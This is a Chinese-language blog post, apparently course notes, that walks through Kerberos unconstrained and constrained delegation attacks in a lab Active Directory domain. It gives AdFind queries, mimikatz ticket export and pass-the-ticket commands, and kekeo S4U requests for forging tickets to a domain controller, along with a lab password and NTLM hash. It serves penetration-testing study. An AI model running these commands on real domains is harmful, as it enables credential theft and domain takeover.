第135天:内网安全-横向移动非约束委派约束委派数据库攻防

2024-08-25 13:12

本文主要是介绍第135天:内网安全-横向移动非约束委派约束委派数据库攻防,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

案例一:  横向移动-原理利用-非约束委派

该案例建立了解即可,真实环境应该不可能有人这样配置

非约束委派的原理和利用场景

原理:
机器 A (域控)访问具有非约束委派权限的机器 B 的服务,会把当前认证用户(域管用
户)的的 TGT 放在 ST 票据中,一起发送给机器 B ,机器 B 会把 TGT 存储在 lsass 进程
中以备下次重用。从而机器 B 就能使用这个 TGT 模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管
理员的 TGT ,从而模拟域管用户。

实验环境  god.org

配置环境

首先需要把webserver的computer中委派,设置为信任任何服务

利用这条命令进行更新

setspn -U -A priv/test webadmin

更新后在该用户的属性就会出现委派一栏

而别的用户中不会出现这一栏

msf上线并且提权到system权限

利用ADFIND工具进行查询非约束委派的账户

本来应该设置代理,在本地运行,但是我是linux系统我就直接上传了

adfind下载地址

https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

 执行命令

AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

让域控主机访问webadmin,正常应该是设置钓鱼

访问过以后让webserver利用mimikatz导出票据

mimikatz sekurlsa::tickets /export

利用管理员的身份伪造票据

mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;9eb18]-2-0-40e00000-Administrator@krbtgt-GOD.ORG.kirbi

 利用该身份就可以访问域控,记得用主机名去访问

案例二: 横向移动-原理利用-约束委派

非约束委派存在不安全性,所以微软在Windows server 2003中引入了约束委派,约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控

环境配置

然后点击确定,添加服务cifs

给对应的用户也添加上该服务环境配置完成

正常cs控制webserver,并且提权到了system权限后

查询域内设置了约束委派账户的命令

shell c:\users\webadmin\desktop\AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询域内设置了约束委派机器的命令

shell AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

 利用kekeo去请求TGT

记得利用system权限去抓取mimikatz

明文:
shell kekeo "tgt::ask /user:webadmin /domain:god.org /password:admin!@#45" "exit"   hash值:
shell kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"

这里我还是直接上传,真实环境在本地设置代理,在本地运行

通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。

shell kekeo.exe "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/OWA2010CN-God.god.org" "exit"

利用mimikatz导入票据

mimikatz kerberos::ptt 
TGS_Administrator@god.org@GOD.ORG_cifs~OWA2010CN-God.god.org@GOD.ORG.kirbishell dir \\OWA2010SP3\c$

查看当前票据

 访问目标文件加夹

先写到这里后面还有一个综合性靶场以后再做把^_^

这篇关于第135天:内网安全-横向移动非约束委派约束委派数据库攻防的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1105647

相关文章

MySQL 横向衍生表(Lateral Derived Tables)的实现

《MySQL横向衍生表(LateralDerivedTables)的实现》横向衍生表适用于在需要通过子查询获取中间结果集的场景,相对于普通衍生表,横向衍生表可以引用在其之前出现过的表名,本文就来... 目录一、横向衍生表用法示例1.1 用法示例1.2 使用建议前面我们介绍过mysql中的衍生表(From子句

Java中常见队列举例详解(非线程安全)

《Java中常见队列举例详解(非线程安全)》队列用于模拟队列这种数据结构,队列通常是指先进先出的容器,:本文主要介绍Java中常见队列(非线程安全)的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录一.队列定义 二.常见接口 三.常见实现类3.1 ArrayDeque3.1.1 实现原理3.1.2

Druid连接池实现自定义数据库密码加解密功能

《Druid连接池实现自定义数据库密码加解密功能》在现代应用开发中,数据安全是至关重要的,本文将介绍如何在​​Druid​​连接池中实现自定义的数据库密码加解密功能,有需要的小伙伴可以参考一下... 目录1. 环境准备2. 密码加密算法的选择3. 自定义 ​​DruidDataSource​​ 的密码解密3

Maven项目中集成数据库文档生成工具的操作步骤

《Maven项目中集成数据库文档生成工具的操作步骤》在Maven项目中,可以通过集成数据库文档生成工具来自动生成数据库文档,本文为大家整理了使用screw-maven-plugin(推荐)的完... 目录1. 添加插件配置到 pom.XML2. 配置数据库信息3. 执行生成命令4. 高级配置选项5. 注意事

在Java中基于Geotools对PostGIS数据库的空间查询实践教程

《在Java中基于Geotools对PostGIS数据库的空间查询实践教程》本文将深入探讨这一实践,从连接配置到复杂空间查询操作,包括点查询、区域范围查询以及空间关系判断等,全方位展示如何在Java环... 目录前言一、相关技术背景介绍1、评价对象AOI2、数据处理流程二、对AOI空间范围查询实践1、空间查

Python+PyQt5实现MySQL数据库备份神器

《Python+PyQt5实现MySQL数据库备份神器》在数据库管理工作中,定期备份是确保数据安全的重要措施,本文将介绍如何使用Python+PyQt5开发一个高颜值,多功能的MySQL数据库备份工具... 目录概述功能特性核心功能矩阵特色功能界面展示主界面设计动态效果演示使用教程环境准备操作流程代码深度解

MySQL数据库实现批量表分区完整示例

《MySQL数据库实现批量表分区完整示例》通俗地讲表分区是将一大表,根据条件分割成若干个小表,:本文主要介绍MySQL数据库实现批量表分区的相关资料,文中通过代码介绍的非常详细,需要的朋友可以参考... 目录一、表分区条件二、常规表和分区表的区别三、表分区的创建四、将既有表转换分区表脚本五、批量转换表为分区

MySQL Workbench工具导出导入数据库方式

《MySQLWorkbench工具导出导入数据库方式》:本文主要介绍MySQLWorkbench工具导出导入数据库方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝... 目录mysql Workbench工具导出导入数据库第一步 www.chinasem.cn数据库导出第二步

Mysql数据库中数据的操作CRUD详解

《Mysql数据库中数据的操作CRUD详解》:本文主要介绍Mysql数据库中数据的操作(CRUD),详细描述对Mysql数据库中数据的操作(CRUD),包括插入、修改、删除数据,还有查询数据,包括... 目录一、插入数据(insert)1.插入数据的语法2.注意事项二、修改数据(update)1.语法2.有

查看MySQL数据库版本的四种方法

《查看MySQL数据库版本的四种方法》查看MySQL数据库的版本信息可以通过多种方法实现,包括使用命令行工具、SQL查询语句和图形化管理工具等,以下是详细的步骤和示例代码,需要的朋友可以参考下... 目录方法一:使用命令行工具1. 使用 mysql 命令示例:方法二:使用 mysqladmin 命令示例:方